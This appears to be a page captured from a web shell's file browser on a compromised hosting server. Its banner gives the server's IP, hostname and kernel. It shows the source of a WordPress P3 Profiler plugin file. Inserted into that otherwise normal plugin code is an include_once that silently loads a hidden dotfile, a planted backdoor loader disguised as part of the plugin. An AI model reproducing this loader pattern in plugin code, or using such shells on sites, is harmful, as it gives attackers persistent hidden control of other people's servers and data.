uawdijnntqw1x1x1
IP : 3.148.237.97
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
perl5
/
..
/
old
/
public_html
/
wp-content
/
plugins
/
p3-profiler
/
start-profile.php
/
/
<?php // If profiling hasn't started, start it if ( function_exists( 'get_option' ) && !isset( $GLOBALS['p3_profiler'] ) && basename( __FILE__ ) != basename( $_SERVER['SCRIPT_FILENAME'] ) ) { $opts = get_option( 'p3-profiler_options' ); if ( !empty( $opts['profiling_enabled'] ) ) { $file = realpath( dirname( __FILE__ ) ) . '/classes/class.p3-profiler.php'; if ( !file_exists( $file ) ) { return; } @include_once $file; declare( ticks = 1 ); // Capture every user function call if ( class_exists( 'P3_Profiler' ) ) { $GLOBALS['p3_profiler'] = new P3_Profiler(); // Go } } unset( $opts ); } /** * Get the user's IP * @return string */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function p3_profiler_get_ip() { static $ip = ''; if ( !empty( $ip ) ) { return $ip; } else { if ( !empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif ( !empty ( $_SERVER['HTTP_X_REAL_IP'] ) ) { $ip = $_SERVER['HTTP_X_REAL_IP']; } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; } } /** * Disable profiling * @return void */ function p3_profiler_disable() { $opts = get_option( 'p3-profiler_options' ); $uploads_dir = wp_upload_dir(); $path = $uploads_dir['basedir'] . DIRECTORY_SEPARATOR . 'profiles' . DIRECTORY_SEPARATOR . $opts['profiling_enabled']['name'] . '.json'; $transient = get_option( 'p3_scan_' . $opts['profiling_enabled']['name'] ); if ( false === $transient ) { $transient = ''; } if ( !empty( $opts ) && array_key_exists( 'profiling_enabled', $opts ) && !empty( $opts['profiling_enabled']['name'] ) ) { file_put_contents( $path, $transient ); } delete_option( 'p3_scan_' . $opts['profiling_enabled']['name'], $transient ); delete_option( 'p3_profiler-error_detection' ); $opts['profiling_enabled'] = false; update_option( 'p3-profiler_options', $opts ); }
/home/batcwwjx/./perl5/../old/public_html/wp-content/plugins/p3-profiler/start-profile.php